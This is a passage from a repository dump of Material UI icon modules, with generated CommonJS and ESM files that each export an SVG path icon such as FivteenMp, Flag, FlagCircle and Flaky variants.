    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75zm4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v4.25zm-.5-7c0-.41.34-.75.75-.75H15V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H13.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1V16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'FivteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FivteenMpSharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3H3zm9 7h3V9h-3V5.5h4.5V7h-3v1h3v3.5H12V10zM7 5.5h3v6H8.5V7H7V5.5zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5v6zM18 17h-3v1.5h-1.5v-6H18V17z\"\n}, \"1\")], 'FivteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FivteenMpSharp.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3H3zm9 7h3V9h-3V5.5h4.5V7h-3v1h3v3.5H12V10zM7 5.5h3v6H8.5V7H7V5.5zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5v6zM18 17h-3v1.5h-1.5v-6H18V17z\"\n}, \"1\")], 'FivteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FivteenMpTwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5v14zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1zM12 10h3V9h-3V5.5h4.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H12V10zM7 5.5h3v6H8.5V7H7V5.5zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6v-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H12V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1z\"\n}, \"4\")], 'FivteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FivteenMpTwoTone.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5v14zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1zM12 10h3V9h-3V5.5h4.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H12V10zM7 5.5h3v6H8.5V7H7V5.5zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6v-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H12V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1z\"\n}, \"4\")], 'FivteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flag.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.4 6 14 4H5v17h2v-7h5.6l.4 2h7V6z\"\n}), 'Flag');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flag.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.4 6 14 4H5v17h2v-7h5.6l.4 2h7V6z\"\n}), 'Flag');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 13h-5l-1-2H9.5v5H8V7h6l1 2h3z\"\n}), 'FlagCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 13h-5l-1-2H9.5v5H8V7h6l1 2h3z\"\n}), 'FlagCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 9-1-2H8v11h1.5v-5H12l1 2h5V9zm1.5 4.5h-2.57l-1-2H9.5v-3h3.57l1 2h2.43z\"\n}, \"1\")], 'FlagCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 9-1-2H8v11h1.5v-5H12l1 2h5V9zm1.5 4.5h-2.57l-1-2H9.5v-3h3.57l1 2h2.43z\"\n}, \"1\")], 'FlagCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 13h-3.38c-.38 0-.73-.21-.89-.55L12 13H9.5v4.25c0 .41-.34.75-.75.75S8 17.66 8 17.25V8c0-.55.45-1 1-1h4.38c.38 0 .73.21.89.55L15 9h2c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1\"\n}), 'FlagCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 13h-3.38c-.38 0-.73-.21-.89-.55L12 13H9.5v4.25c0 .41-.34.75-.75.75S8 17.66 8 17.25V8c0-.55.45-1 1-1h4.38c.38 0 .73.21.89.55L15 9h2c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1\"\n}), 'FlagCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 13h-5l-1-2H9.5v5H8V7h6l1 2h3z\"\n}), 'FlagCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 13h-5l-1-2H9.5v5H8V7h6l1 2h3z\"\n}), 'FlagCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m1 11-1-2H9.5v5H8V7h6l1 2h3v6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 9-1-2H8v11h1.5v-5H12l1 2h5V9zm1.5 4.5h-2.57l-1-2H9.5v-3h3.57l1 2h2.43z\"\n}, \"2\")], 'FlagCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m1 11-1-2H9.5v5H8V7h6l1 2h3v6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 9-1-2H8v11h1.5v-5H12l1 2h5V9zm1.5 4.5h-2.57l-1-2H9.5v-3h3.57l1 2h2.43z\"\n}, \"2\")], 'FlagCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.36 6 .4 2H18v6h-3.36l-.4-2H7V6zM14 4H5v17h2v-7h5.6l.4 2h7V6h-5.6z\"\n}), 'FlagOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.36 6 .4 2H18v6h-3.36l-.4-2H7V6zM14 4H5v17h2v-7h5.6l.4 2h7V6h-5.6z\"\n}), 'FlagOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.4 6-.24-1.2c-.09-.46-.5-.8-.98-.8H6c-.55 0-1 .45-1 1v15c0 .55.45 1 1 1s1-.45 1-1v-6h5.6l.24 1.2c.09.47.5.8.98.8H19c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1z\"\n}), 'FlagRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.4 6-.24-1.2c-.09-.46-.5-.8-.98-.8H6c-.55 0-1 .45-1 1v15c0 .55.45 1 1 1s1-.45 1-1v-6h5.6l.24 1.2c.09.47.5.8.98.8H19c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1z\"\n}), 'FlagRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.4 6 14 4H5v17h2v-7h5.6l.4 2h7V6z\"\n}), 'FlagSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.4 6 14 4H5v17h2v-7h5.6l.4 2h7V6z\"\n}), 'FlagSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.36 6H7v6h7.24l.4 2H18V8h-5.24z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.4 6 14 4H5v17h2v-7h5.6l.4 2h7V6zm3.6 8h-3.36l-.4-2H7V6h5.36l.4 2H18z\"\n}, \"1\")], 'FlagTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlagTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.36 6H7v6h7.24l.4 2H18V8h-5.24z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.4 6 14 4H5v17h2v-7h5.6l.4 2h7V6zm3.6 8h-3.36l-.4-2H7V6h5.36l.4 2H18z\"\n}, \"1\")], 'FlagTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flaky.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m14.05 17.58-.01.01-2.4-2.4 1.06-1.06 1.35 1.35L16.54 13l1.06 1.06-3.54 3.54zM12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M7.34 6.28l1.41 1.41 1.41-1.41 1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.41-1.41 1.41-1.06-1.06 1.41-1.41-1.41-1.41zM12 20c-2.2 0-4.2-.9-5.7-2.3L17.7 6.3C19.1 7.8 20 9.8 20 12c0 4.4-3.6 8-8 8\"\n}), 'Flaky');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flaky.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m14.05 17.58-.01.01-2.4-2.4 1.06-1.06 1.35 1.35L16.54 13l1.06 1.06-3.54 3.54zM12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M7.34 6.28l1.41 1.41 1.41-1.41 1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.41-1.41 1.41-1.06-1.06 1.41-1.41-1.41-1.41zM12 20c-2.2 0-4.2-.9-5.7-2.3L17.7 6.3C19.1 7.8 20 9.8 20 12c0 4.4-3.6 8-8 8\"\n}), 'Flaky');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlakyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m14.05 17.58-.01.01-2.4-2.4 1.06-1.06 1.35 1.35L16.54 13l1.06 1.06-3.54 3.54zM12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M7.34 6.28l1.41 1.41 1.41-1.41 1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.41-1.41 1.41-1.06-1.06 1.41-1.41-1.41-1.41zM12 20c-2.2 0-4.2-.9-5.7-2.3L17.7 6.3C19.1 7.8 20 9.8 20 12c0 4.4-3.6 8-8 8\"\n}), 'FlakyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlakyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m14.05 17.58-.01.01-2.4-2.4 1.06-1.06 1.35 1.35L16.54 13l1.06 1.06-3.54 3.54zM12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M7.34 6.28l1.41 1.41 1.41-1.41 1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.41-1.41 1.41-1.06-1.06 1.41-1.41-1.41-1.41zM12 20c-2.2 0-4.2-.9-5.7-2.3L17.7 6.3C19.1 7.8 20 9.8 20 12c0 4.4-3.6 8-8 8\"\n}), 'FlakyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlakyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12.16 15.72c-.29-.29-.29-.77 0-1.06s.77-.29 1.06 0l.82.82L16 13.52c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-2.65 2.65c-.19.19-.51.2-.7 0zM12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M7.87 6.81l.88.88.88-.88c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-.88.88.88.88c.29.29.29.77 0 1.06s-.77.29-1.06 0l-.88-.88-.88.88c-.29.29-.77.29-1.06 0s-.29-.77 0-1.06l.88-.88-.88-.88c-.29-.29-.29-.77 0-1.06.29-.3.76-.3 1.06 0M12 20c-2.2 0-4.2-.9-5.7-2.3L17.7 6.3C19.1 7.8 20 9.8 20 12c0 4.4-3.6 8-8 8\"\n}), 'FlakyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlakyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12.16 15.72c-.29-.29-.29-.77 0-1.06s.77-.29 1.06 0l.82.82L16 13.52c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-2.65 2.65c-.19.19-.51.2-.7 0zM12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M7.87 6.81l.88.88.88-.88c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-.88.88.88.88c.29.29.29.77 0 1.06s-.77.29-1.06 0l-.88-.88-.88.88c-.29.29-.77.29-1.06 0s-.29-.77 0-1.06l.88-.88-.88-.88c-.29-.29-.29-.77 0-1.06.29-.3.76-.3 1.06 0M12 20c-2.2 0-4.2-.9-5.7-2.3L17.7 6.3C19.1 7.8 20 9.8 20 12c0 4.4-3.6 8-8 8\"\n}), 'FlakyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlakySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"m14.05 17.58-.01.01-2.4-2.4 1.06-1.06 1.35 1.35L16.54 13l1.06 1.06-3.54 3.54zM12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M7.34 6.28l1.41 1.41 1.41-1.41 1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.41-1.41 1.41-1.06-1.06 1.41-1.41-1.41-1.41zM12 20c-2.2 0-4.2-.9-5.7-2.3L17.7 6.3C19.1 7.8 20 9.8 20 12c0 4.4-3.6 8-8 8\"\n}), 'FlakySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlakySharp.mjs",
